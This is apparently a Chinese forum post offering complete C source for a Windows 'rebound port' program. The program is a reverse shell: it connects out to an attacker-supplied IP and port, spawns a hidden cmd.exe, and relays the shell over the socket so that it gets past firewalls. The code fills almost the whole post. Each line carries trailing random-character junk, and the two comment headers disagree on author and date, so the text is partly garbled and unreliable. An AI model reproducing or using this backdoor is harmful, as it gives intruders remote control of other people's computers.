这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _uy44;zq
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/* ============================== &i6),{QN
Rebound port in Windows NT u 7>],<
By wind,2006/7 ?67Y-\}
===============================*/ 9sYMSc~Bm
#include z7fp#>uw
#include I 7{T
#Lh;CSS
#pragma comment(lib,"wsock32.lib") *XIF)Q=<>
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void OutputShell(); ivJ@=pd)B
SOCKET sClient; |v3T!
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v dc\R?
gCB |DY
void main(int argc,char **argv)
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{ Sw ig;`
WSADATA stWsaData; B|C2lu
int nRet; c(xrP/yOwi
SOCKADDR_IN stSaiClient,stSaiServer; Ng2twfSl$
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if(argc != 3) r@H /kD
{ "#2a8#
printf("Useage:\n\rRebound DestIP DestPort\n"); n FHUy9q
return; 8;RUf~q?
} K0|FY=#2y
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WSAStartup(MAKEWORD(2,2),&stWsaData); aC8} d
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0z6R'Kjy A
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stSaiClient.sin_family = AF_INET; 2DrP"iGq5
stSaiClient.sin_port = htons(0); z]_wjYn Z
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7x|9n
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?]_$Dcmx
{ iL-(O;n
printf("Bind Socket Failed!\n"); f@wquG'
return; KQ!8ks]
} BYL)nCc
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stSaiServer.sin_family = AF_INET; +V ;l6D
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 61C7.EZZ;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4DI8s4fi
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) H)kwQRfu
{ 9<6;Hr,>G
printf("Connect Error!"); P64PPbP
return; _Xe>V0
} un mJbY;t
OutputShell(); O:;w3u7;u
} c_$=-Khk
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void OutputShell() %rL.|q9
{ NX*Q F+
char szBuff[1024]; O`IQ(,yef
SECURITY_ATTRIBUTES stSecurityAttributes; )-I {^(
OSVERSIONINFO stOsversionInfo; [Kg+^N%+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u&Yz[)+b=g
STARTUPINFO stStartupInfo; qd ~BnR$=
char *szShell; ;#W2|'HD
PROCESS_INFORMATION stProcessInformation; 5}l[>lF
unsigned long lBytesRead; u5`u>.!
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); t6"%3#s
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^1I19q
stSecurityAttributes.lpSecurityDescriptor = 0; we//|fA<
stSecurityAttributes.bInheritHandle = TRUE; RB7tmJc
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !Iy_UfW
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); V(I8=rVH
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); EU/C@B2*Dl
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C_}]`[
stStartupInfo.wShowWindow = SW_HIDE; {H>gtpVy
stStartupInfo.hStdInput = hReadPipe; mp1@|*Sn
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; F]O`3e=!
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GetVersionEx(&stOsversionInfo); X]TG<r
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switch(stOsversionInfo.dwPlatformId) O3,jg|,
{ TQF| a\M'
case 1: UERLtSQ
szShell = "command.com"; JX;<F~{.
break; 0*3R=7_},o
default: gh]cXuph
szShell = "cmd.exe"; ]m3HF&
break; AofKw
} I5p?
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Qz1E 2yJ
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send(sClient,szMsg,77,0); UcHJR"M~c
while(1) R B
{ |mfvr*7
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -$ls(oot
if(lBytesRead) 4SxX3Fw
{ q"lSZ;
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -=Q*Ml#I
send(sClient,szBuff,lBytesRead,0); +5*95-;0
} >1Ibc=}g
else )D7m,Wi+
{ s2V:cMXFn
lBytesRead=recv(sClient,szBuff,1024,0); L,/%f<wd
if(lBytesRead<=0) break; D;*SnU(9L
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); b{&)6M)zo
} pz}.9 yI8
} m+[Ux{$
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return; IHac:=*Q
}